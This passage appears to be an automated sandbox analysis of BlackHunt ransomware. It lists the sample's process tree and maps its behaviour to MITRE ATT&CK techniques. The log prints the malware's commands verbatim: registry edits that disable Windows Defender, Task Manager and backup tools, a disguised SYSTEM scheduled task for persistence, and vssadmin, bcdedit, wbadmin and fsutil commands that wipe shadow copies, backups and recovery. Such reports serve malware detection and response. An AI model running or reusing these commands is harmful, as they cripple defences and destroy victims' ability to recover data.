    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:3324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    - Modifies registry class
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3644
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:4556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2660
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:4952
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:3076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4440
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2492
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:3816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:5096
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:5044
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:908
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:904
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:4704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe" /F
  2⤵
  PID:2852
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bf27e9fc44f6e43080f919d94b1f89675432b0acd1669c7a60d3243040f48b6b.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:5008
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1232
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:920
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:4712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4156
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3836
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3744
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4236
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4068
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1228
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3896
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3272
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3720
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:5716
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:5372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:1520
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:5248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2080
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:5600

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:1168

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3812

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1972

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:4720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery